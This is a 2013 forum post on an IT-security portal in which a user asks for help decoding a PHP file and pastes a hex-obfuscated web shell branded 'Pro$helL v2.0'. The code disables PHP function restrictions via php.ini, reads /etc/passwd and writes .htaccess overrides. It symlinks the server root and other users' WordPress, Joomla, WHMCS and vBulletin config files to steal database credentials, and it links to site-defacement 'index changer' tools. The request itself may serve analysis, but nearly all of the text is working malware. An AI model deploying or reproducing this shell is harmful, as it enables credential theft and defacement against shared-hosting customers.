 |
Menu |
 |
|
 Home |
| |
|
 Discussions |
| |
|
 Tools |
| |
|
| Affiliates |
| |
|
 Content |
| |
|
 Info |
| | |
|
|
|
|
|
User Info |
|
 Membership:
 Latest: MichaelSnaRe
 New Today: 0
 New Yesterday: 0
 Overall: 9144
 People Online:
 Visitors: 104
 Members: 0
 Total: 104
|
|
|
|
|
|
Full disclosure |
|
|
|
 |
|
 |
 |
|
 |
IT Security and Insecurity Portal |
|
|
[Help] Decode File |
|
 Posted: Sun May 19, 2013 2:56 pm |
 |
|
| dragonche |
| Beginner |
 |
|
| Joined: May 19, 2013 |
| Posts: 2 |
|
|
|
 |
|
 |
|
help decode
| Code: | <?php ${"\x47\x4c\x4f\x42\x41LS"}["t\x66w\x72lf\x68zm\x73"]="\x72";${"G\x4c\x4fBA\x4c\x53"}["\x61ww\x67\x6e\x73\x69\x69"]="he\x61\x64";${"G\x4c\x4f\x42\x41L\x53"}["\x74\x6e\x61\x72\x66v\x79\x64\x6c\x6eb\x6c"]="lin\x6b";${${"GL\x4fBA\x4cS"}["aww\x67n\x73i\x69"]}="\n\x3c\x68tm\x6c\x3e\n\x3c\x68\x65ad\x3e\n</\x73\x63r\x69pt>\n<\x74\x69\x74l\x65>P\x72\x6f\$\x68elL\x20\x762\x2e0\x3c/\x74\x69\x74\x6ce\x3e\n<me\x74\x61\x20\x68\x74\x74p-\x65q\x75\x69\x76\x3d\x22Conte\x6e\x74-\x54\x79p\x65\x22\x20content\x3d\x22t\x65\x78\x74/\x68\x74ml\x3b\x20cha\x72\x73\x65\x74=\x55TF-8\"\x3e\n<S\x54\x59\x4cE>\nt\x65\x78tar\x65\x61{ba\x63\x6b\x67rou\x6ed-\x63o\x6co\x72:\x231\x30\x35700\x3b\x63\x6flo\x72:\x6c\x69\x6d\x65;\x66o\x6e\x74-\x77\x65\x69gh\x74:\x62\x6fld\x3bfo\x6e\x74-\x73ize: 20px\x3bf\x6fn\x74-\x66a\x6dil\x79: Tahom\x61; \x62\x6f\x72\x64e\x72: \x31p\x78\x20\x73ol\x69\x64 #\x300\x30\x30\x30\x30;}\ni\x6e\x70u\x74{F\x4fN\x54-WEI\x47H\x54:norm\x61\x6c;ba\x63\x6b\x67rou\x6ed-col\x6fr: \x23105\x3700\x3b\x66ont-\x73\x69\x7a\x65: \x315\x70\x78\x3bfo\x6e\x74-weig\x68t:\x62\x6fld\x3bcol\x6f\x72: \x6cime\x3b\x20f\x6f\x6e\x74-\x66\x61m\x69l\x79:\x20Ta\x68oma\x3b\x20\x62\x6fr\x64\x65r: \x31p\x78\x20s\x6f\x6c\x69\x64\x20#\x3666\x3666\x3bhe\x69gh\x74:2\x30}\nb\x6fd\x79\x20{\nf\x6f\x6e\x74-fam\x69\x6c\x79: \x54aho\x6da\n}\nt\x72\x20{\nBO\x52\x44E\x52: dash\x65\x64\x20\x31\x70\x78\x20#33\x33\x3b\ncolor:\x20#F\x46F\x3b\n}\nt\x64\x20{\n\x42\x4f\x52\x44\x45\x52:\x20\x64\x61sh\x65d\x20\x31px\x20#\x33\x33\x33\x3b\nc\x6flor: #\x46FF;\n}\n\x2e\x74ab\x6ce\x31\x20{\n\x42\x4f\x52\x44\x45\x52: \x30\x70x\x20\x42\x6ca\x63k;\nB\x41CK\x47RO\x55\x4e\x44-\x43\x4f\x4cOR: \x42\x6c\x61ck;\nc\x6f\x6c\x6f\x72:\x20\x23F\x46\x46;\n}\n.t\x641 {\n\x42OR\x44ER:\x200\x70\x78\x3b\nBORDE\x52-COLO\x52:\x20\x23\x33333\x333\x3b\nf\x6fn\x74: \x37pt\x20\x56erd\x61na\x3b\n\x63\x6f\x6c\x6f\x72: G\x72\x65e\x6e;\n}\n.\x74r1\x20{\n\x42OR\x44ER:\x200\x70\x78\x3b\n\x42O\x52DER-\x43\x4fL\x4f\x52:\x20#33\x33\x33\x33\x33\x3b\nc\x6flor:\x20\x23\x46FF;\n}\ntabl\x65 {\n\x42\x4fRD\x45R:\x20d\x61\x73h\x65d 1px\x20\x233\x333;\n\x42O\x52\x44E\x52-C\x4fL\x4fR:\x20#3\x33\x33\x33\x33\x33\x3b\n\x42A\x43K\x47\x52OUN\x44-CO\x4cOR: \x42l\x61c\x6b\x3b\nc\x6f\x6c\x6fr: \x23\x46FF\x3b\n}\n\x69\x6e\x70\x75t {\n\x62order\t\t\t:\x20dash\x65\x64 \x31px\x3b\n\x62o\x72\x64\x65\x72-\x63o\x6cor\t\t:\x20#\x33\x333\x3b\n\x42\x41C\x4bGROUN\x44-C\x4fLOR: \x42\x6c\x61\x63\x6b\x3b\nfon\x74:\x20\x38\x70\x74\x20Ver\x64\x61\x6ea\x3b\nc\x6flo\x72: Red;\n}\n\x73\x65le\x63\x74 {\nB\x4f\x52\x44E\x52-\x52I\x47\x48T:\x20\x20\x42la\x63k\x201px \x73ol\x69\x64;\nB\x4fR\x44\x45R-\x54OP: \x20 \x23DF\x30000 \x31\x70x\x20\x73o\x6c\x69\x64\x3b\nB\x4f\x52\x44\x45\x52-\x4cEFT:\x20\x20\x20\x23\x44\x46\x30\x30\x30\x30 \x31\x70\x78\x20sol\x69\x64\x3b\nB\x4f\x52D\x45R-\x42\x4fTTOM: \x42lack 1\x70x\x20\x73\x6f\x6c\x69d\x3b\n\x42O\x52DER-co\x6c\x6f\x72: \x23\x46FF\x3b\nBACK\x47\x52O\x55N\x44-\x43\x4fLOR: Bla\x63k;\n\x66\x6fn\x74: 8p\x74 V\x65rd\x61n\x61;\nco\x6cor: R\x65\x64\x3b\n}\ns\x75\x62\x6di\x74 {\nBOR\x44E\x52:\x20 bu\x74\x74\x6fn\x68i\x67\x68li\x67ht\x202\x70\x78 \x6f\x75\x74\x73\x65\x74;\nBA\x43\x4b\x47\x52\x4fUN\x44-C\x4f\x4c\x4fR: \x42\x6cack;\nw\x69d\x74\x68:\x203\x30%\x3b\n\x63olor: #\x46FF\x3b\n}\nt\x65\x78\x74ar\x65a {\nb\x6frd\x65r\t\t\t:\x20d\x61\x73h\x65\x64\x201p\x78\x20\x233\x333;\n\x42AC\x4b\x47ROU\x4eD-CO\x4c\x4f\x52: B\x6c\x61ck;\n\x66on\x74:\x20\x46ixe\x64\x73\x79\x73\x20\x62old\x3b\n\x63\x6f\x6c\x6fr: \x239\x399;\n}\nB\x4f\x44\x59 {\n\t\x53\x43R\x4f\x4cLB\x41\x52-FA\x43E-COL\x4fR:\x20Bla\x63\x6b; SCRO\x4c\x4c\x42\x41R-HIG\x48L\x49G\x48\x54-c\x6flor: \x23FFF;\x20SCROLL\x42A\x52-S\x48ADO\x57-c\x6fl\x6f\x72: #\x46FF; SCROLLBA\x52-\x33\x44L\x49GHT-\x63ol\x6fr:\x20#FFF;\x20\x53CR\x4fL\x4c\x42A\x52-ARR\x4fW-COL\x4f\x52: \x42\x6cac\x6b; S\x43R\x4fL\x4c\x42AR-\x54\x52A\x43\x4b-co\x6c\x6fr: #F\x46F;\x20\x53\x43RO\x4cLB\x41R-\x44A\x52\x4bS\x48\x41D\x4f\x57-\x63olor:\x20#\x46FF\nm\x61\x72\x67i\x6e:\x201\x70x;\n\x63\x6fl\x6fr: Re\x64\x3b\nbackgrou\x6ed-co\x6c\x6fr: \x42lac\x6b\x3b\n}\n.\x6d\x61\x69\x6e\x20{\nm\x61\x72\x67i\x6e\t\t\t:\x20-287p\x78\x20\x30\x70x 0\x70x -\x34\x39\x30\x70x\x3b\nB\x4f\x52\x44E\x52: das\x68ed\x201p\x78\x20#\x3333;\nBO\x52DE\x52-\x43\x4fL\x4f\x52:\x20#33333\x33;\n}\n.tt\x20{\n\x62ac\x6b\x67\x72\x6f\x75\x6ed-\x63\x6flo\x72:\x20\x42\x6cack\x3b\n}\n\n\x41:link\x20{\n\tCOL\x4fR:\x20White; \x54EX\x54-\x44ECO\x52\x41\x54ION:\x20n\x6f\x6e\x65\n}\n\x41:v\x69\x73i\x74ed {\n\tCO\x4cOR: \x57hi\x74\x65;\x20T\x45XT-DEC\x4f\x52AT\x49\x4f\x4e: n\x6f\x6e\x65\n}\nA:h\x6fv\x65r {\n\t\x63\x6flor:\x20\x52e\x64;\x20T\x45X\x54-DE\x43ORAT\x49\x4fN:\x20n\x6fne\n}\n\x41:ac\x74iv\x65\x20{\n\t\x63olor: Red\x3b\x20\x54\x45X\x54-\x44E\x43\x4f\x52A\x54\x49\x4fN:\x20n\x6fn\x65\n}\n\x3c/\x53TY\x4c\x45\x3e\n<sc\x72i\x70t l\x61\x6eg\x75a\x67\x65\x3d\x27j\x61\x76\x61\x73c\x72i\x70\x74\x27>\nf\x75\x6ectio\x6e\x20\x68id\x65_\x64iv(\x69\x64)\n{\n do\x63ument.\x67\x65\x74\x45leme\x6et\x42y\x49d(\x69\x64).\x73t\x79\x6ce\x2e\x64\x69s\x70l\x61\x79 \x3d\x20\x27n\x6fn\x65\x27\x3b\n\x20\x20\x64\x6fcum\x65nt\x2e\x63oo\x6bi\x65=id+\x27=\x30;\x27\x3b\n}\n\x66un\x63\x74\x69o\x6e\x20\x73\x68\x6fw\x5f\x64iv(id)\n{\n docu\x6de\x6et.ge\x74\x45l\x65\x6d\x65n\x74\x42\x79Id(\x69\x64).\x73\x74\x79l\x65.d\x69s\x70la\x79 =\x20\x27\x62\x6coc\x6b\x27\x3b\n d\x6fc\x75ment\x2e\x63o\x6fkie\x3d\x69d+'=1\x3b\x27;\n}\nfunc\x74i\x6f\x6e \x63h\x61ng\x65_d\x69\x76s\x74(\x69d)\n{\n \x20i\x66\x20(d\x6f\x63u\x6de\x6e\x74\x2eget\x45l\x65m\x65\x6e\x74ById(\x69d)\x2estyle\x2e\x64ispla\x79 \x3d\x3d \x27n\x6f\x6e\x65\x27)\n\x20 s\x68\x6f\x77\x5fd\x69v(i\x64);\n \x20\x65ls\x65\n\x20 \x20 h\x69\x64e\x5fd\x69\x76(\x69d)\x3b\n}\n\x3c/scri\x70t>";${"\x47\x4c\x4f\x42A\x4cS"}["s\x6c\x65m\x6d\x70\x6ek\x65hn"]="\x75ser";echo "\n\x3c\x68\x74m\x6c>\n\t\x3c\x68e\x61\x64\x3e\n\t\t";${"G\x4cOBA\x4c\x53"}["\x79\x6b\x66\x66\x6bj\x73"]="\x72r";$rbojkdovmfq="h\x65ad";echo${$rbojkdovmfq};echo"\n\x3ctable width\x3d\"\x310\x30\x25\"\x20ce\x6c\x6cs\x70\x61ci\x6e\x67=\x220\x22 \x63el\x6c\x70\x61ddi\x6eg=\"\x30\x22\x20\x63l\x61\x73\x73\x3d\"t\x621\x22\x20\x3e\n\x3c\x74d w\x69\x64\x74h\x3d\x22\x3100\x25\x22\x20al\x69\x67n=c\x65nt\x65\x72\x20v\x61li\x67n=\x22to\x70\x22 \x72\x6fw\x73\x70\x61\x6e\x3d\"\x31\"\x3e<hr co\x6co\x72=\x22r\x65d\"\x3e\n<\x69m\x67 \x73rc\x3d\x22\x68\x74\x74p://i\x2eimgur\x2ec\x6f\x6d/\x72\x4b\x53f\x37\x2e\x70\x6e\x67\x22\x3e\x3c\x68r\x20col\x6fr\x3d\x22r\x65\x64\x22>\x3c\x66o\x6e\x74\x20\x63\x6fl\x6f\x72=\x22\x72e\x64\x22\x20\x73iz\x65=\x225\x22\x3e<i\x3e\n\x3c\x62\x3eP\x72o\$\x68\x65lL\x20\x762.0\x20by\x20\x3c\x61 href\x3d\x22\x68\x74tp://w\x77w\x2epro\x63od\x65\x72\x7a\x2ecom/\"\x3eP\x72oc\x6f\x64erz T\x65am\x20Albania\x6e </b\x3e\x3cb\x72\x3e\n</a><h\x72 \x63\x6fl\x6f\x72\x3d\"\x72\x65d\"\x3e</i>\n</t\x61bl\x65>\n";${"\x47L\x4f\x42\x41L\x53"}["\x65\x6b\x7a\x69\x65\x65\x70r\x79\x71\x7a"]="di\x72";echo "\n\x3ccen\x74\x65r\x3e\n<\x66ont\x20f\x61ce\x3d\x22Verda\x6ea\" \x73\x69\x7ae\x3d\"1\" f\x6fnt\x20\x63\x6f\x6cor\x3d\x72e\x64\x3e./\x63o\x6e\x66\x69g \x6b1ll\x65\x72</f\x6fn\x74\x3e</\x63\x65n\x74\x65\x72\x3e\n\x3cbr>\n<\x66orm \x6d\x65t\x68od\x3d\x70\x6f\x73\x74><\x66\x6f\x6et s\x69z\x65\x3d\x32\x20fa\x63e\x3d\"T\x41\x48OMA\x22 \x63\x6f\x6co\x72=\"w\x68\x69te\"\x3eT\x6f\x20\x47en\x65\x72at\x65 PH\x50\x2e\x69\x6e\x69 C\x6c\x69ck\x20th\x65 \x62u\x74\x74on\x20\x62e\x6cow\x3c/\x66ont\x3e<b\x72\x3e\n\x3cin\x70u\x74 \x74y\x70e\x3dsu\x62m\x69t \x6e\x61me\x3di\x6e\x69 va\x6c\x75\x65\x3d\"\x47en\x65r\x61\x74\x65\x20PH\x50\x2ein\x69\x22 /\x3e</\x66\x6fr\x6d\x3e\n<for\x6d m\x65thod=p\x6f\x73\x74\x3e<\x66ont \x73\x69\x7a\x65\x3d2\x20\x66\x61\x63e\x3d\x22\x54A\x48OMA\" \x63o\x6c\x6f\x72\x3d\x22w\x68\x69te\"\x3eTo \x43\x68eck T\x68\x65\x20S\x6d\x79\x6ci\x6ek\x20D\x75\x6dp \x43\x6cick\x20\x74\x68e \x62u\x74ton \x62e\x6cow</f\x6fnt\x3e<\x62\x72\x3e\n\t\x3ci\x6e\x70u\x74\x20\x74y\x70e=\x73u\x62\x6d\x69\x74 \x6e\x61m\x65=\"\x75\x73\x72e\x22 \x76\x61l\x75\x65\x3d\x22\x75\x73\x65\x20to E\x78\x74r\x61\x63\x74 user\x6eame\x73\x22 /\x3e</for\x6d>\n\t";if(isset($_POST["\x69ni"])){$bokpbur="lin\x6b";${${"\x47\x4cO\x42\x41L\x53"}["\x74\x66\x77\x72\x6c\x66\x68\x7a\x6d\x73"]}=fopen("p\x68\x70\x2e\x69\x6ei","w");$rcdiwy="\x72";${${"\x47\x4c\x4f\x42A\x4c\x53"}["y\x6b\x66\x66\x6bjs"]}="\x20di\x73bale\x5ffu\x6ec\x74\x69o\x6es\x3d\x6eo\x6e\x65 ";fwrite(${$rcdiwy},${${"\x47\x4cOBALS"}["\x79\x6b\x66\x66\x6bj\x73"]});${${"\x47LO\x42\x41\x4c\x53"}["\x74\x6e\x61r\x66\x76yd\x6cn\x62\x6c"]}="<\x61 \x68ref\x3d\x70hp.\x69\x6ei\x3e<fo\x6e\x74\x20co\x6cor=\x77hit\x65 si\x7a\x65=\x32 \x66\x61c\x65=\"\x54\x41H\x4fMA\x22>\x3cu\x3e<f\x6f\x6e\x74\x20co\x6cor=red\x3e\x44ON\x45</\x66\x6f\x6et\x3e \x4fp\x65\x6e \x74h\x69\x73\x20\x6cin\x6b\x20in n\x65w\x20t\x61b\x20\x74o\x20ru\x6e\x20PH\x50.INI</u\x3e</\x66o\x6et>\x3c/\x61\x3e";echo${$bokpbur};}${"\x47\x4cO\x42\x41\x4c\x53"}["\x6e\x74\x78\x68d\x71\x73\x6dr\x6cj\x73"]="\x75ser\x73";${"\x47\x4c\x4f\x42\x41\x4cS"}["\x6a\x66\x6e\x67\x65\x76\x68\x66"]="\x70\x72\x6f";${"G\x4cO\x42\x41LS"}["\x6e\x6cdj\x71\x76pe\x61"]="\x62";echo "\n";${"G\x4c\x4f\x42\x41\x4cS"}["\x61\x66\x6bh\x6e\x62zm\x6e\x6d"]="\x66\x69\x6c\x65";${"\x47\x4c\x4f\x42\x41L\x53"}["\x79w\x61fw\x64r"]="u\x73";${"GL\x4f\x42A\x4c\x53"}["\x67\x66j\x68\x6cjx\x66t\x62\x70"]="r\x73";${"G\x4c\x4f\x42\x41L\x53"}["\x69\x65\x76x\x68xd\x70\x6f"]="f";${"G\x4c\x4fB\x41LS"}["\x6d\x73\x72ss\x64\x64\x6d\x6by"]="u\x73s";if(isset($_POST["\x75\x73\x72e"])){echo "<f\x6fr\x6d \x6de\x74\x68\x6f\x64\x3dpost\x3e\n\t\x3ct\x65xt\x61\x72ea row\x73\x3d\x310 co\x6cs\x3d\x350 na\x6d\x65\x3du\x73\x65\x72\x3e";${"GL\x4f\x42A\x4cS"}["\x6a\x7ax\x78\x6f\x62"]="u\x73\x65\x72\x73";$yvwqifw="\x75ser";${${"\x47\x4c\x4f\x42\x41LS"}["j\x7a\x78\x78\x6f\x62"]}=file("/et\x63/pa\x73s\x77d");foreach(${${"\x47L\x4f\x42ALS"}["\x6e\x74x\x68d\x71\x73\x6d\x72\x6c\x6a\x73"]} as${$yvwqifw}){${"GLO\x42\x41\x4cS"}["\x66\x6bk\x77y\x75\x62\x6a\x76\x73\x66"]="\x73\x74r";${"G\x4c\x4f\x42\x41LS"}["\x68\x7a\x6e\x72\x67wo\x61\x63\x69"]="\x73t\x72";${${"GL\x4f\x42A\x4c\x53"}["fkk\x77yubj\x76\x73f"]}=explode(":",${${"\x47\x4c\x4fB\x41L\x53"}["s\x6c\x65\x6d\x6d\x70nke\x68\x6e"]});echo${${"\x47\x4cO\x42\x41L\x53"}["hz\x6e\x72\x67\x77\x6fa\x63\x69"]}[0]."\n";}echo "\n</\x74\x65\x78\x74ar\x65\x61><\x62\x72\x3e<\x62\x72\x3e\n\t\x3c\x69\x6e\x70\x75t ty\x70e\x3d\x73ubm\x69t\x20n\x61\x6d\x65\x3ds\x75 \x76al\x75e\x3d\"\x43l\x69\x63\x6b He\x72e \x54o\x20St\x61\x72\x74\"\x20/>\x3c/\x66\x6frm>\n\t";}${"G\x4c\x4f\x42\x41\x4c\x53"}["b\x70\x6fy\x75erm\x6b\x61"]="c";${"\x47\x4c\x4f\x42\x41LS"}["gw\x6a\x66\x70\x6fe\x71"]="\x63\x6fn\x66ig\x75\x72\x61t\x69\x6fn";echo "\n\t";error_reporting(0);${"G\x4c\x4f\x42A\x4c\x53"}["\x71\x73sxj\x66\x6f\x72\x7a\x7a"]="rt";echo"<\x66\x6fnt \x63ol\x6f\x72=red\x20\x73\x69z\x65=2\x20\x66a\x63\x65\x3d\"T\x41\x48\x4fM\x41\"\x3e";if(isset($_POST["su"])){${"\x47LO\x42\x41\x4c\x53"}["\x63\x67n\x6fa\x73x"]="\x67";${"\x47L\x4f\x42A\x4c\x53"}["inevy\x72h\x6c"]="\x67";mkdir("p\x72o",0777);$npkxefme="\x72r";${"\x47L\x4f\x42ALS"}["\x68\x6aqgt\x72\x78\x67\x75\x6e"]="c\x6f\x6e\x66\x69gu\x72a\x74\x69o\x6e";${$npkxefme}="\x20\x4fpti\x6fn\x73 \x61ll \n \x44\x69\x72\x65c\x74ory\x49nd\x65x\x20\x53ux.\x68\x74\x6dl\x20\n Ad\x64Typ\x65 \x74e\x78t/\x70l\x61\x69n\x20\x2eph\x70 \n Ad\x64Ha\x6e\x64\x6c\x65r\x20se\x72v\x65\x72-\x70ar\x73\x65\x64\x20.ph\x70 \n\x20\x20\x41dd\x54\x79pe\x20\x74e\x78t/\x70lai\x6e\x20.\x68\x74\x6d\x6c\x20\n \x41d\x64H\x61nd\x6c\x65\x72 \x74xt\x20.\x68\x74m\x6c \n \x52equ\x69\x72e\x20\x4eo\x6ee\x20\n Sa\x74is\x66y\x20\x41\x6e\x79";$hpjuonq="\x72";${"G\x4c\x4f\x42\x41\x4c\x53"}["c\x6b\x6a\x78\x63\x6ey\x6d\x63\x71"]="c\x6f\x6es\x79\x6d";${"\x47L\x4f\x42A\x4c\x53"}["\x6b\x65\x6an\x6cv\x70\x6f"]="\x75\x73\x73";${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x63g\x6e\x6f\x61\x73x"]}=fopen("\x70\x72\x6f/.htacc\x65s\x73","\x77");fwrite(${${"G\x4c\x4f\x42A\x4c\x53"}["i\x6ee\x76y\x72\x68\x6c"]},${${"\x47\x4c\x4f\x42A\x4c\x53"}["\x79\x6b\x66f\x6bj\x73"]});${"GLO\x42\x41\x4c\x53"}["\x62\x73\x6b\x67\x78\x77l\x68u\x73"]="\x72";${${"\x47\x4c\x4f\x42\x41L\x53"}["\x6a\x66n\x67\x65\x76\x68\x66"]}=symlink("/","pro/r\x6fot");$jqcwdcrvki="\x75s\x72";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x71\x73\x73x\x6af\x6fr\x7az"]}="\x3c\x61 \x68re\x66\x3d\x70\x72o/\x72o\x6f\x74\x3e<f\x6fnt \x63olor\x3dw\x68i\x74e \x73iz\x65\x3d\x33\x20face=\"\x54\x41\x48\x4fMA\"> r00t\x3c/f\x6fnt\x3e</a\x3e";echo"C\x68\x65\x63k li\x6ek g\x69\x76\x65n\x20b\x65\x6c\x6fw\x20f\x6f\x72 / \x66\x6f\x6c\x64e\x72\x20\x72oo\x74 s\x79m\x6ci\x6ek\x20<\x62\x72>\x3c\x75>$rt\x3c/u>";${${"G\x4cO\x42\x41\x4cS"}["ek\x7a\x69\x65\x65\x70r\x79qz"]}=mkdir("\x50\x52O",0777);${"\x47\x4cO\x42A\x4c\x53"}["\x63\x66\x62e\x75kh\x73\x63\x61n"]="u\x73\x72";${$hpjuonq}=" \x4fp\x74\x69\x6f\x6e\x73\x20a\x6c\x6c\x20\n\x20\x44\x69\x72\x65\x63\x74\x6fry\x49\x6ed\x65\x78 \x53\x75x\x2e\x68\x74m\x6c\x20\n\x20Add\x54\x79\x70e\x20\x74e\x78t/p\x6ca\x69n\x20\x2e\x70h\x70\x20\n \x41d\x64H\x61nd\x6cer se\x72\x76er-\x70a\x72s\x65d .p\x68p \n Add\x54y\x70e\x20\x74ex\x74/\x70\x6cai\x6e\x20.ht\x6dl\x20\n \x41d\x64\x48a\x6edl\x65r \x74xt .h\x74\x6dl \n Re\x71\x75\x69re \x4e\x6f\x6ee \n\x20\x53\x61tis\x66\x79\x20An\x79";${${"GLOB\x41L\x53"}["\x69\x65\x76\x78\x68x\x64p\x6f"]}=fopen("\x50RO/.\x68\x74a\x63ce\x73\x73","\x77");fwrite(${${"G\x4c\x4f\x42A\x4cS"}["\x69\x65\x76\x78\x68x\x64\x70\x6f"]},${${"\x47\x4cO\x42\x41\x4cS"}["\x62\x73\x6b\x67\x78w\x6c\x68\x75s"]});${${"\x47LO\x42\x41\x4c\x53"}["\x63\x6bj\x78\x63n\x79\x6d\x63q"]}="<a\x20\x68r\x65f=PR\x4f/><\x66\x6fnt co\x6c\x6fr=white\x20size=\x33\x20f\x61c\x65\x3d\x22\x54AHO\x4d\x41\"\x3e\x53ym\x6c\x69n\x6b\x3c/f\x6f\x6et></\x61>";echo"<\x62r>Chec\x6b \x74\x68\x65 \x6c\x69n\x6b\x20\x67\x69\x76\x65\x6e\x20b\x65low \x66or\x20/\x20\x66o\x6cd\x65\x72 \x63\x6fn\x66i\x67 \x73y\x6d\x6c\x69n\x6b <\x62\x72><u\x3e\x3c\x66\x6f\x6e\x74\x20\x63o\x6c\x6f\x72\x3d\x72e\x64\x20\x73iz\x65=2\x20fac\x65\x3d\"T\x41H\x4fM\x41\">$consym\x3c/f\x6fn\x74\x3e\x3c/u\x3e";${${"\x47\x4cO\x42\x41\x4c\x53"}["c\x66\x62\x65uk\x68\x73\x63an"]}=explode("\n",$_POST["\x75\x73\x65\x72"]);${${"GLOB\x41\x4c\x53"}["\x68j\x71\x67\x74\x72\x78\x67\x75n"]}=array("w\x70-co\x6ef\x69g.\x70\x68\x70","\x77\x6f\x72dp\x72es\x73/w\x70-\x63\x6f\x6ef\x69g\x2e\x70hp","co\x6efi\x67\x75\x72\x61\x74i\x6fn.php","\x62l\x6f\x67/wp-c\x6fnfi\x67.ph\x70","\x6aoo\x6dla/\x63\x6f\x6efig\x75\x72\x61\x74ion\x2e\x70hp","\x73\x69\x74\x65/\x77p-c\x6f\x6e\x66\x69\x67.ph\x70","s\x69t\x65/\x63o\x6e\x66\x69\x67\x75\x72\x61t\x69on.\x70\x68\x70","\x63\x6ds/c\x6f\x6ef\x69g\x75rat\x69\x6fn.ph\x70","vb/\x69nc\x6c\x75d\x65\x73/c\x6f\x6e\x66\x69\x67.\x70h\x70","i\x6ec\x6c\x75des/confi\x67\x2ephp","c\x6fnf_g\x6c\x6f\x62a\x6c\x2e\x70\x68\x70","\x69n\x63/con\x66i\x67\x2ep\x68\x70","\x63\x6f\x6efi\x67.p\x68\x70","\x53etti\x6e\x67\x73\x2e\x70\x68\x70","\x73it\x65\x73/\x64e\x66\x61\x75\x6ct/set\x74\x69\x6e\x67\x73.\x70h\x70","w\x68m/\x63\x6fnf\x69g\x75\x72\x61tion.p\x68p","\x77hm\x63\x73/\x63\x6fnfi\x67\x75\x72a\x74ion.\x70hp","su\x70port/\x63o\x6efi\x67u\x72at\x69o\x6e\x2e\x70hp","\x77h\x6dc/\x57\x48\x4d/c\x6fn\x66\x69gu\x72a\x74ion\x2ephp","\x77h\x6d/WHMC\x53/\x63\x6fn\x66\x69\x67\x75\x72at\x69\x6f\x6e\x2ep\x68\x70","wh\x6d/\x77\x68\x6d\x63s/c\x6f\x6e\x66i\x67u\x72\x61\x74i\x6fn\x2ephp","\x73upport/\x63\x6fn\x66ig\x75r\x61\x74\x69\x6fn.\x70h\x70","cli\x65nts/conf\x69g\x75\x72\x61t\x69on.\x70h\x70","c\x6c\x69\x65nt/c\x6f\x6efi\x67\x75r\x61\x74\x69o\x6e.\x70\x68p","clien\x74e\x73/co\x6e\x66\x69\x67\x75\x72\x61\x74\x69\x6fn\x2ep\x68p","client\x65/c\x6f\x6efigu\x72\x61t\x69\x6f\x6e.\x70\x68p","\x63lie\x6et\x73\x75ppor\x74/\x63\x6fnfi\x67u\x72\x61t\x69\x6fn\x2ep\x68p","b\x69ll\x69n\x67/c\x6f\x6e\x66\x69gurat\x69on\x2ep\x68p","\x61dmin/c\x6fn\x66\x69\x67\x2eph\x70","a\x64\x6d/c\x6fnfig\x2e\x70\x68p","\x63\x6ds/co\x6ef\x69g\x2e\x70hp");foreach(${$jqcwdcrvki} as${${"\x47\x4cO\x42A\x4cS"}["\x6b\x65\x6a\x6e\x6c\x76\x70\x6f"]}){${"G\x4c\x4f\x42\x41L\x53"}["y\x78m\x67h\x6d\x78u"]="\x75\x73";${${"\x47\x4cO\x42A\x4c\x53"}["\x79\x78\x6d\x67\x68\x6dx\x75"]}=trim(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["m\x73r\x73s\x64\x64m\x6b\x79"]});foreach(${${"\x47\x4c\x4f\x42\x41LS"}["\x67\x77\x6af\x70\x6fe\x71"]} as${${"G\x4c\x4f\x42\x41LS"}["\x62\x70\x6fyu\x65\x72m\x6b\x61"]}){$gutrivtfje="\x72";${"\x47L\x4fB\x41\x4cS"}["\x75\x6b\x65p\x6e\x6d\x6d"]="\x63";${${"\x47\x4cO\x42A\x4c\x53"}["\x67\x66\x6ah\x6c\x6ax\x66\x74b\x70"]}="/\x68om\x65/".${${"\x47\x4cO\x42\x41LS"}["\x79\x77\x61\x66\x77\x64\x72"]}."/pu\x62\x6c\x69\x63_\x68t\x6dl/".${${"G\x4cO\x42ALS"}["bp\x6f\x79uer\x6dk\x61"]};${${"\x47\x4cO\x42\x41\x4c\x53"}["tf\x77r\x6c\x66\x68z\x6ds"]}="P\x52O/".${${"\x47L\x4fB\x41\x4c\x53"}["\x79\x77a\x66\x77\x64\x72"]}."\x20\x2e.\x20".${${"G\x4c\x4f\x42A\x4c\x53"}["\x75\x6be\x70n\x6d\x6d"]};symlink(${${"\x47\x4cO\x42\x41\x4c\x53"}["\x67f\x6ah\x6c\x6a\x78f\x74bp"]},${$gutrivtfje});}}}echo "\n<\x68r\x20c\x6fl\x6fr\x3d\"r\x65\x64\x22\x3e\n\x3c\x70\x20al\x69\x67\x6e=\"ce\x6e\x74e\x72\" \x64ir=\x22l\x74\x72\"\x3e\x20\n\x3c\x66\x6f\x6e\x74\x20\x66ace\x3d\"\x56\x65\x72\x64\x61n\x61\"\x20si\x7a\x65=\"\x31\"\x20fo\x6e\x74\x20\x63\x6fl\x6fr=red\x3e./too\x6cs\x3c/fo\x6et\x3e</c\x65n\x74er\x3e\x3c\x62\x72\x3e\n<f\x6fnt\x20c\x6flo\x72\x3d\x22re\x64\x22 fo\x6e\x74\x20\x73\x69z\x65\x3d\x33 >\x20// <f\x6f\x6e\x74\x20co\x6cor=\x22w\x68i\x74e\" fon\x74 \x73\x69\x7ae\x3d\x33\x20>\n<a \x68r\x65f=\"?a=\x6a\x69\x63\x22 s\x74yle\x3d\x22t\x65xt-d\x65corati\x6fn:\x20non\x65\"\x3e\n\x4a\x6f\x6f\x6dl\x61 \x49\x6ede\x78 \x43\x68an\x67\x65\x72\x20\x3c/a\x3e\x20<fo\x6et colo\x72=\"wh\x69te\" \x66\x6fn\x74\x20\x73i\x7ae=\x33\x20\x3e\x20\x3c\x66on\x74\x20\x63\x6f\x6co\x72\x3d\"r\x65\x64\x22\x20fo\x6e\x74\x20s\x69z\x65\x3d\x33\x20\x3e/\x20\x3c/font>\x20\n<a\x20hr\x65\x66=\x22?a\x3d\x77ic\"\x20style=\"\x74e\x78\x74-\x64\x65c\x6f\x72a\x74\x69\x6fn:\x20none\x22\x3e\n\x57o\x72\x64\x70r\x65\x73\x73\x20I\x6ed\x65x\x20Chan\x67\x65\x72 </\x61>\x20\x3cf\x6fnt\x20\x63\x6fl\x6f\x72=\x22\x77\x68i\x74e\x22\x20\x66\x6fn\x74 si\x7a\x65\x3d\x33 > <font\x20\x63\x6f\x6cor=\x22r\x65d\"\x20\x66o\x6e\x74\x20size\x3d\x33 \x3e/ </\x66ont>\x20\n\x3ca\x20h\x72ef=\"?a=c\x70\x22 